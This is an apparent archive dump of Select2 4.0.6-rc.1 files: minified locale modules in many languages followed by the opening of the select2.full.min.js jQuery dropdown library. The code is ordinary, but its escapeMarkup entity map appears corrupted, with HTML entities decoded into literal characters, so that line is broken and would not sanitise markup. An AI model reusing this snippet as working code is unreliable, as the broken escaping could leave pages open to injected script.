data…"},maximumSelected:function(e){return"Anda hanya dapat memilih "+e.maximum+" pilihan"},noResults:function(){return"Tidak ada data yang sesuai"},searching:function(){return"Mencari…"}}}),{define:e.define,require:e.require}})();i18n/af.js000064400000001525151701413610006251 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/af",[],function(){return{errorLoading:function(){return"Die resultate kon nie gelaai word nie."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Verwyders asseblief "+t+" character";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Voer asseblief "+t+" of meer karakters";return n},loadingMore:function(){return"Meer resultate word gelaai…"},maximumSelected:function(e){var t="Kies asseblief net "+e.maximum+" item";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"Geen resultate gevind"},searching:function(){return"Besig…"}}}),{define:e.define,require:e.require}})();i18n/ro.js000064400000001625151701413610006304 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ro",[],function(){return{errorLoading:function(){return"Rezultatele nu au putut fi incărcate."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vă rugăm să ștergeți"+t+" caracter";return t!==1&&(n+="e"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vă rugăm să introduceți "+t+" sau mai multe caractere";return n},loadingMore:function(){return"Se încarcă mai multe rezultate…"},maximumSelected:function(e){var t="Aveți voie să selectați cel mult "+e.maximum;return t+=" element",e.maximum!==1&&(t+="e"),t},noResults:function(){return"Nu au fost găsite rezultate"},searching:function(){return"Căutare…"}}}),{define:e.define,require:e.require}})();i18n/mk.js000064400000001732151701413610006272 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/mk",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Ве молиме внесете "+e.maximum+" помалку карактер";return e.maximum!==1&&(n+="и"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Ве молиме внесете уште "+e.maximum+" карактер";return e.maximum!==1&&(n+="и"),n},loadingMore:function(){return"Вчитување резултати…"},maximumSelected:function(e){var t="Можете да изберете само "+e.maximum+" ставк";return e.maximum===1?t+="а":t+="и",t},noResults:function(){return"Нема пронајдено совпаѓања"},searching:function(){return"Пребарување…"}}}),{define:e.define,require:e.require}})();i18n/fi.js000064400000001425151701413610006260 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fi",[],function(){return{errorLoading:function(){return"Tuloksia ei saatu ladattua."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Ole hyvä ja anna "+t+" merkkiä vähemmän"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Ole hyvä ja anna "+t+" merkkiä lisää"},loadingMore:function(){return"Ladataan lisää tuloksia…"},maximumSelected:function(e){return"Voit valita ainoastaan "+e.maximum+" kpl"},noResults:function(){return"Ei tuloksia"},searching:function(){return"Haetaan…"}}}),{define:e.define,require:e.require}})();i18n/gl.js000064400000001575151701413610006272 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/gl",[],function(){return{errorLoading:function(){return"Non foi posíbel cargar os resultados."},inputTooLong:function(e){var t=e.input.length-e.maximum;return t===1?"Elimine un carácter":"Elimine "+t+" caracteres"},inputTooShort:function(e){var t=e.minimum-e.input.length;return t===1?"Engada un carácter":"Engada "+t+" caracteres"},loadingMore:function(){return"Cargando máis resultados…"},maximumSelected:function(e){return e.maximum===1?"Só pode seleccionar un elemento":"Só pode seleccionar "+e.maximum+" elementos"},noResults:function(){return"Non se atoparon resultados"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})();i18n/sk.js000064400000002371151701413610006300 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sk",[],function(){var e={2:function(e){return e?"dva":"dve"},3:function(){return"tri"},4:function(){return"štyri"}};return{errorLoading:function(){return"Výsledky sa nepodarilo načítať."},inputTooLong:function(t){var n=t.input.length-t.maximum;return n==1?"Prosím, zadajte o jeden znak menej":n>=2&&n<=4?"Prosím, zadajte o "+e[n](!0)+" znaky menej":"Prosím, zadajte o "+n+" znakov menej"},inputTooShort:function(t){var n=t.minimum-t.input.length;return n==1?"Prosím, zadajte ešte jeden znak":n<=4?"Prosím, zadajte ešte ďalšie "+e[n](!0)+" znaky":"Prosím, zadajte ešte ďalších "+n+" znakov"},loadingMore:function(){return"Načítanie ďalších výsledkov…"},maximumSelected:function(t){return t.maximum==1?"Môžete zvoliť len jednu položku":t.maximum>=2&&t.maximum<=4?"Môžete zvoliť najviac "+e[t.maximum](!1)+" položky":"Môžete zvoliť najviac "+t.maximum+" položiek"},noResults:function(){return"Nenašli sa žiadne položky"},searching:function(){return"Vyhľadávanie…"}}}),{define:e.define,require:e.require}})();i18n/da.js000064400000001457151701413610006253 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/da",[],function(){return{errorLoading:function(){return"Resultaterne kunne ikke indlæses."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Angiv venligst "+t+" tegn mindre"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Angiv venligst "+t+" tegn mere"},loadingMore:function(){return"Indlæser flere resultater…"},maximumSelected:function(e){var t="Du kan kun vælge "+e.maximum+" emne";return e.maximum!=1&&(t+="r"),t},noResults:function(){return"Ingen resultater fundet"},searching:function(){return"Søger…"}}}),{define:e.define,require:e.require}})();i18n/ru.js000064400000002156151701413610006312 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ru",[],function(){function e(e,t,n,r){return e%10<5&&e%10>0&&e%100<5||e%100>20?e%10>1?n:t:r}return{errorLoading:function(){return"Невозможно загрузить результаты"},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Пожалуйста, введите на "+n+" символ";return r+=e(n,"","a","ов"),r+=" меньше",r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Пожалуйста, введите еще хотя бы "+n+" символ";return r+=e(n,"","a","ов"),r},loadingMore:function(){return"Загрузка данных…"},maximumSelected:function(t){var n="Вы можете выбрать не более "+t.maximum+" элемент";return n+=e(t.maximum,"","a","ов"),n},noResults:function(){return"Совпадений не найдено"},searching:function(){return"Поиск…"}}}),{define:e.define,require:e.require}})();i18n/zh-CN.js000064400000001410151701413610006573 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/zh-CN",[],function(){return{errorLoading:function(){return"无法载入结果。"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="请删除"+t+"个字符";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="请再输入至少"+t+"个字符";return n},loadingMore:function(){return"载入更多结果…"},maximumSelected:function(e){var t="最多只能选择"+e.maximum+"个项目";return t},noResults:function(){return"未找到结果"},searching:function(){return"搜索中…"}}}),{define:e.define,require:e.require}})();i18n/dsb.js000064400000001776151701413610006443 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/dsb",[],function(){var e=["znamuško","znamušce","znamuška","znamuškow"],t=["zapisk","zapiska","zapiski","zapiskow"],n=function(t,n){if(t===1)return n[0];if(t===2)return n[1];if(t>2&&t<=4)return n[2];if(t>=5)return n[3]};return{errorLoading:function(){return"Wuslědki njejsu se dali zacytaś."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Pšosym lašuj "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Pšosym zapódaj nanejmjenjej "+r+" "+n(r,e)},loadingMore:function(){return"Dalšne wuslědki se zacytaju…"},maximumSelected:function(e){return"Móžoš jano "+e.maximum+" "+n(e.maximum,t)+"wubraś."},noResults:function(){return"Žedne wuslědki namakane"},searching:function(){return"Pyta se…"}}}),{define:e.define,require:e.require}})();i18n/ko.js000064400000001535151701413610006275 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ko",[],function(){return{errorLoading:function(){return"결과를 불러올 수 없습니다."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="너무 깁니다. "+t+" 글자 지워주세요.";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="너무 짧습니다. "+t+" 글자 더 입력해주세요.";return n},loadingMore:function(){return"불러오는 중…"},maximumSelected:function(e){var t="최대 "+e.maximum+"개까지만 선택 가능합니다.";return t},noResults:function(){return"결과가 없습니다."},searching:function(){return"검색 중…"}}}),{define:e.define,require:e.require}})();i18n/uk.js000064400000002144151701413610006300 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/uk",[],function(){function e(e,t,n,r){return e%100>10&&e%100<15?r:e%10===1?t:e%10>1&&e%10<5?n:r}return{errorLoading:function(){return"Неможливо завантажити результати"},inputTooLong:function(t){var n=t.input.length-t.maximum;return"Будь ласка, видаліть "+n+" "+e(t.maximum,"літеру","літери","літер")},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Будь ласка, введіть "+t+" або більше літер"},loadingMore:function(){return"Завантаження інших результатів…"},maximumSelected:function(t){return"Ви можете вибрати лише "+t.maximum+" "+e(t.maximum,"пункт","пункти","пунктів")},noResults:function(){return"Нічого не знайдено"},searching:function(){return"Пошук…"}}}),{define:e.define,require:e.require}})();i18n/hi.js000064400000002154151701413610006262 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hi",[],function(){return{errorLoading:function(){return"परिणामों को लोड नहीं किया जा सका।"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" अक्षर को हटा दें";return t>1&&(n=t+" अक्षरों को हटा दें "),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="कृपया "+t+" या अधिक अक्षर दर्ज करें";return n},loadingMore:function(){return"अधिक परिणाम लोड हो रहे है..."},maximumSelected:function(e){var t="आप केवल "+e.maximum+" आइटम का चयन कर सकते हैं";return t},noResults:function(){return"कोई परिणाम नहीं मिला"},searching:function(){return"खोज रहा है..."}}}),{define:e.define,require:e.require}})();i18n/km.js000064400000002060151701413610006265 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/km",[],function(){return{errorLoading:function(){return"មិនអាចទាញយកទិន្នន័យ"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="សូមលុបចេញ "+t+" អក្សរ";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="សូមបញ្ចូល"+t+" អក្សរ រឺ ច្រើនជាងនេះ";return n},loadingMore:function(){return"កំពុងទាញយកទិន្នន័យបន្ថែម..."},maximumSelected:function(e){var t="អ្នកអាចជ្រើសរើសបានតែ "+e.maximum+" ជម្រើសប៉ុណ្ណោះ";return t},noResults:function(){return"មិនមានលទ្ធផល"},searching:function(){return"កំពុងស្វែងរក..."}}}),{define:e.define,require:e.require}})();i18n/lt.js000064400000001630151701413610006277 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/lt",[],function(){function e(e,t,n,r){return e%10===1&&(e%100<11||e%100>19)?t:e%10>=2&&e%10<=9&&(e%100<11||e%100>19)?n:r}return{inputTooLong:function(t){var n=t.input.length-t.maximum,r="Pašalinkite "+n+" simbol";return r+=e(n,"į","ius","ių"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Įrašykite dar "+n+" simbol";return r+=e(n,"į","ius","ių"),r},loadingMore:function(){return"Kraunama daugiau rezultatų…"},maximumSelected:function(t){var n="Jūs galite pasirinkti tik "+t.maximum+" element";return n+=e(t.maximum,"ą","us","ų"),n},noResults:function(){return"Atitikmenų nerasta"},searching:function(){return"Ieškoma…"}}}),{define:e.define,require:e.require}})();i18n/tr.js000064400000001414151701413610006305 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/tr",[],function(){return{errorLoading:function(){return"Sonuç yüklenemedi"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" karakter daha girmelisiniz";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="En az "+t+" karakter daha girmelisiniz";return n},loadingMore:function(){return"Daha fazla…"},maximumSelected:function(e){var t="Sadece "+e.maximum+" seçim yapabilirsiniz";return t},noResults:function(){return"Sonuç bulunamadı"},searching:function(){return"Aranıyor…"}}}),{define:e.define,require:e.require}})();i18n/az.js000064400000001304151701413610006270 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/az",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum;return t+" simvol silin"},inputTooShort:function(e){var t=e.minimum-e.input.length;return t+" simvol daxil edin"},loadingMore:function(){return"Daha çox nəticə yüklənir…"},maximumSelected:function(e){return"Sadəcə "+e.maximum+" element seçə bilərsiniz"},noResults:function(){return"Nəticə tapılmadı"},searching:function(){return"Axtarılır…"}}}),{define:e.define,require:e.require}})();select2.full.min.js000064400000224760151701413610010200 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=function(b,c){return void 0===c&&(c="undefined"!=typeof window?require("jquery"):require("jquery")(b)),a(c),c}:a(jQuery)}(function(a){var b=function(){if(a&&a.fn&&a.fn.select2&&a.fn.select2.amd)var b=a.fn.select2.amd;var b;return function(){if(!b||!b.requirejs){b?c=b:b={};var a,c,d;!function(b){function e(a,b){return v.call(a,b)}function f(a,b){var c,d,e,f,g,h,i,j,k,l,m,n,o=b&&b.split("/"),p=t.map,q=p&&p["*"]||{};if(a){for(a=a.split("/"),g=a.length-1,t.nodeIdCompat&&x.test(a[g])&&(a[g]=a[g].replace(x,"")),"."===a[0].charAt(0)&&o&&(n=o.slice(0,o.length-1),a=n.concat(a)),k=0;k<a.length;k++)if("."===(m=a[k]))a.splice(k,1),k-=1;else if(".."===m){if(0===k||1===k&&".."===a[2]||".."===a[k-1])continue;k>0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}if((o||q)&&p){for(c=a.split("/"),k=c.length;k>0;k-=1){if(d=c.slice(0,k).join("/"),o)for(l=o.length;l>0;l-=1)if((e=p[o.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&q&&q[d]&&(i=q[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.splice(0,h,f),a=c.join("/"))}return a}function g(a,c){return function(){var d=w.call(arguments,0);return"string"!=typeof d[0]&&1===d.length&&d.push(null),o.apply(b,d.concat([a,c]))}}function h(a){return function(b){return f(b,a)}}function i(a){return function(b){r[a]=b}}function j(a){if(e(s,a)){var c=s[a];delete s[a],u[a]=!0,n.apply(b,c)}if(!e(r,a)&&!e(u,a))throw new Error("No "+a);return r[a]}function k(a){var b,c=a?a.indexOf("!"):-1;return c>-1&&(b=a.substring(0,c),a=a.substring(c+1,a.length)),[b,a]}function l(a){return a?k(a):[]}function m(a){return function(){return t&&t.config&&t.config[a]||{}}}var n,o,p,q,r={},s={},t={},u={},v=Object.prototype.hasOwnProperty,w=[].slice,x=/\.js$/;p=function(a,b){var c,d=k(a),e=d[0],g=b[1];return a=d[1],e&&(e=f(e,g),c=j(e)),e?a=c&&c.normalize?c.normalize(a,h(g)):f(a,g):(a=f(a,g),d=k(a),e=d[0],a=d[1],e&&(c=j(e))),{f:e?e+"!"+a:a,n:a,pr:e,p:c}},q={require:function(a){return g(a)},exports:function(a){var b=r[a];return void 0!==b?b:r[a]={}},module:function(a){return{id:a,uri:"",exports:r[a],config:m(a)}}},n=function(a,c,d,f){var h,k,m,n,o,t,v,w=[],x=typeof d;if(f=f||a,t=l(f),"undefined"===x||"function"===x){for(c=!c.length&&d.length?["require","exports","module"]:c,o=0;o<c.length;o+=1)if(n=p(c[o],t),"require"===(k=n.f))w[o]=q.require(a);else if("exports"===k)w[o]=q.exports(a),v=!0;else if("module"===k)h=w[o]=q.module(a);else if(e(r,k)||e(s,k)||e(u,k))w[o]=j(k);else{if(!n.p)throw new Error(a+" missing "+k);n.p.load(n.n,g(f,!0),i(k),{}),w[o]=r[k]}m=d?d.apply(r[a],w):void 0,a&&(h&&h.exports!==b&&h.exports!==r[a]?r[a]=h.exports:m===b&&v||(r[a]=m))}else a&&(r[a]=d)},a=c=o=function(a,c,d,e,f){if("string"==typeof a)return q[a]?q[a](c):j(p(a,l(c)).f);if(!a.splice){if(t=a,t.deps&&o(t.deps,t.callback),!c)return;c.splice?(a=c,c=d,d=null):a=b}return c=c||function(){},"function"==typeof d&&(d=e,e=f),e?n(b,a,c,d):setTimeout(function(){n(b,a,c,d)},4),o},o.config=function(a){return o(a)},a._defined=r,d=function(a,b,c){if("string"!=typeof a)throw new Error("See almond README: incorrect module build, no module name");b.splice||(c=b,b=[]),e(r,a)||e(s,a)||(s[a]=[a,b,c])},d.amd={jQuery:!0}}(),b.requirejs=a,b.require=c,b.define=d}}(),b.define("almond",function(){}),b.define("jquery",[],function(){var b=a||$;return null==b&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),b}),b.define("select2/utils",["jquery"],function(a){function b(a){var b=a.prototype,c=[];for(var d in b){"function"==typeof b[d]&&("constructor"!==d&&c.push(d))}return c}var c={};c.Extend=function(a,b){function c(){this.constructor=a}var d={}.hasOwnProperty;for(var e in b)d.call(b,e)&&(a[e]=b[e]);return c.prototype=b.prototype,a.prototype=new c,a.__super__=b.prototype,a},c.Decorate=function(a,c){function d(){var b=Array.prototype.unshift,d=c.prototype.constructor.length,e=a.prototype.constructor;d>0&&(b.call(arguments,a.prototype.constructor),e=c.prototype.constructor),e.apply(this,arguments)}function e(){this.constructor=d}var f=b(c),g=b(a);c.displayName=a.displayName,d.prototype=new e;for(var h=0;h<g.length;h++){var i=g[h];d.prototype[i]=a.prototype[i]}for(var j=(function(a){var b=function(){};a in d.prototype&&(b=d.prototype[a]);var e=c.prototype[a];return function(){return Array.prototype.unshift.call(arguments,b),e.apply(this,arguments)}}),k=0;k<f.length;k++){var l=f[k];d.prototype[l]=j(l)}return d};var d=function(){this.listeners={}};d.prototype.on=function(a,b){this.listeners=this.listeners||{},a in this.listeners?this.listeners[a].push(b):this.listeners[a]=[b]},d.prototype.trigger=function(a){var b=Array.prototype.slice,c=b.call(arguments,1);this.listeners=this.listeners||{},null==c&&(c=[]),0===c.length&&c.push({}),c[0]._type=a,a in this.listeners&&this.invoke(this.listeners[a],b.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},d.prototype.invoke=function(a,b){for(var c=0,d=a.length;c<d;c++)a[c].apply(this,b)},c.Observable=d,c.generateChars=function(a){for(var b="",c=0;c<a;c++){b+=Math.floor(36*Math.random()).toString(36)}return b},c.bind=function(a,b){return function(){a.apply(b,arguments)}},c._convertData=function(a){for(var b in a){var c=b.split("-"),d=a;if(1!==c.length){for(var e=0;e<c.length;e++){var f=c[e];f=f.substring(0,1).toLowerCase()+f.substring(1),f in d||(d[f]={}),e==c.length-1&&(d[f]=a[b]),d=d[f]}delete a[b]}}return a},c.hasScroll=function(b,c){var d=a(c),e=c.style.overflowX,f=c.style.overflowY;return(e!==f||"hidden"!==f&&"visible"!==f)&&("scroll"===e||"scroll"===f||(d.innerHeight()<c.scrollHeight||d.innerWidth()<c.scrollWidth))},c.escapeMarkup=function(a){var b={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return"string"!=typeof a?a:String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})},c.appendMany=function(b,c){if("1.7"===a.fn.jquery.substr(0,3)){var d=a();a.map(c,function(a){d=d.add(a)}),c=d}b.append(c)},c.__cache={};var e=0;return c.GetUniqueElementId=function(a){var b=a.getAttribute("data-select2-id");return null==b&&(a.id?(b=a.id,a.setAttribute("data-select2-id",b)):(a.setAttribute("data-select2-id",++e),b=e.toString())),b},c.StoreData=function(a,b,d){var e=c.GetUniqueElementId(a);c.__cache[e]||(c.__cache[e]={}),c.__cache[e][b]=d},c.GetData=function(b,d){var e=c.GetUniqueElementId(b);return d?c.__cache[e]&&null!=c.__cache[e][d]?c.__cache[e][d]:a(b).data(d):c.__cache[e]},c.RemoveData=function(a){var b=c.GetUniqueElementId(a);null!=c.__cache[b]&&delete c.__cache[b]},c}),b.define("select2/results",["jquery","./utils"],function(a,b){function c(a,b,d){this.$element=a,this.data=d,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<ul class="select2-results__options" role="tree"></ul>');return this.options.get("multiple")&&b.attr("aria-multiselectable","true"),this.$results=b,b},c.prototype.clear=function(){this.$results.empty()},c.prototype.displayMessage=function(b){var c=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var d=a('<li role="treeitem" aria-live="assertive" class="select2-results__option"></li>'),e=this.options.get("translations").get(b.message);d.append(c(e(b.args))),d[0].className+=" select2-results__message",this.$results.append(d)},c.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},c.prototype.append=function(a){this.hideLoading();var b=[];if(null==a.results||0===a.results.length)return void(0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"}));a.results=this.sort(a.results);for(var c=0;c<a.results.length;c++){var d=a.results[c],e=this.option(d);b.push(e)}this.$results.append(b)},c.prototype.position=function(a,b){b.find(".select2-results").append(a)},c.prototype.sort=function(a){return this.options.get("sorter")(a)},c.prototype.highlightFirstItem=function(){var a=this.$results.find(".select2-results__option[aria-selected]"),b=a.filter("[aria-selected=true]");b.length>0?b.first().trigger("mouseenter"):a.first().trigger("mouseenter"),this.ensureHighlightVisible()},c.prototype.setClasses=function(){var c=this;this.data.current(function(d){var e=a.map(d,function(a){return a.id.toString()});c.$results.find(".select2-results__option[aria-selected]").each(function(){var c=a(this),d=b.GetData(this,"data"),f=""+d.id;null!=d.element&&d.element.selected||null==d.element&&a.inArray(f,e)>-1?c.attr("aria-selected","true"):c.attr("aria-selected","false")})})},c.prototype.showLoading=function(a){this.hideLoading();var b=this.options.get("translations").get("searching"),c={disabled:!0,loading:!0,text:b(a)},d=this.option(c);d.className+=" loading-results",this.$results.prepend(d)},c.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},c.prototype.option=function(c){var d=document.createElement("li");d.className="select2-results__option";var e={role:"treeitem","aria-selected":"false"};c.disabled&&(delete e["aria-selected"],e["aria-disabled"]="true"),null==c.id&&delete e["aria-selected"],null!=c._resultId&&(d.id=c._resultId),c.title&&(d.title=c.title),c.children&&(e.role="group",e["aria-label"]=c.text,delete e["aria-selected"]);for(var f in e){var g=e[f];d.setAttribute(f,g)}if(c.children){var h=a(d),i=document.createElement("strong");i.className="select2-results__group";a(i);this.template(c,i);for(var j=[],k=0;k<c.children.length;k++){var l=c.children[k],m=this.option(l);j.push(m)}var n=a("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});n.append(j),h.append(i),h.append(n)}else this.template(c,d);return b.StoreData(d,"data",c),d},c.prototype.bind=function(c,d){var e=this,f=c.id+"-results";this.$results.attr("id",f),c.on("results:all",function(a){e.clear(),e.append(a.data),c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("results:append",function(a){e.append(a.data),c.isOpen()&&e.setClasses()}),c.on("query",function(a){e.hideMessages(),e.showLoading(a)}),c.on("select",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("unselect",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("open",function(){e.$results.attr("aria-expanded","true"),e.$results.attr("aria-hidden","false"),e.setClasses(),e.ensureHighlightVisible()}),c.on("close",function(){e.$results.attr("aria-expanded","false"),e.$results.attr("aria-hidden","true"),e.$results.removeAttr("aria-activedescendant")}),c.on("results:toggle",function(){var a=e.getHighlightedResults();0!==a.length&&a.trigger("mouseup")}),c.on("results:select",function(){var a=e.getHighlightedResults();if(0!==a.length){var c=b.GetData(a[0],"data");"true"==a.attr("aria-selected")?e.trigger("close",{}):e.trigger("select",{data:c})}}),c.on("results:previous",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a);if(!(c<=0)){var d=c-1;0===a.length&&(d=0);var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top,h=f.offset().top,i=e.$results.scrollTop()+(h-g);0===d?e.$results.scrollTop(0):h-g<0&&e.$results.scrollTop(i)}}),c.on("results:next",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a),d=c+1;if(!(d>=b.length)){var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top+e.$results.outerHeight(!1),h=f.offset().top+f.outerHeight(!1),i=e.$results.scrollTop()+h-g;0===d?e.$results.scrollTop(0):h>g&&e.$results.scrollTop(i)}}),c.on("results:focus",function(a){a.element.addClass("select2-results__option--highlighted")}),c.on("results:message",function(a){e.displayMessage(a)}),a.fn.mousewheel&&this.$results.on("mousewheel",function(a){var b=e.$results.scrollTop(),c=e.$results.get(0).scrollHeight-b+a.deltaY,d=a.deltaY>0&&b-a.deltaY<=0,f=a.deltaY<0&&c<=e.$results.height();d?(e.$results.scrollTop(0),a.preventDefault(),a.stopPropagation()):f&&(e.$results.scrollTop(e.$results.get(0).scrollHeight-e.$results.height()),a.preventDefault(),a.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(c){var d=a(this),f=b.GetData(this,"data");if("true"===d.attr("aria-selected"))return void(e.options.get("multiple")?e.trigger("unselect",{originalEvent:c,data:f}):e.trigger("close",{}));e.trigger("select",{originalEvent:c,data:f})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(c){var d=b.GetData(this,"data");e.getHighlightedResults().removeClass("select2-results__option--highlighted"),e.trigger("results:focus",{data:d,element:a(this)})})},c.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},c.prototype.destroy=function(){this.$results.remove()},c.prototype.ensureHighlightVisible=function(){var a=this.getHighlightedResults();if(0!==a.length){var b=this.$results.find("[aria-selected]"),c=b.index(a),d=this.$results.offset().top,e=a.offset().top,f=this.$results.scrollTop()+(e-d),g=e-d;f-=2*a.outerHeight(!1),c<=2?this.$results.scrollTop(0):(g>this.$results.outerHeight()||g<0)&&this.$results.scrollTop(f)}},c.prototype.template=function(b,c){var d=this.options.get("templateResult"),e=this.options.get("escapeMarkup"),f=d(b,c);null==f?c.style.display="none":"string"==typeof f?c.innerHTML=e(f):a(c).append(f)},c}),b.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),b.define("select2/selection/base",["jquery","../utils","../keys"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,b.Observable),d.prototype.render=function(){var c=a('<span class="select2-selection" role="combobox" 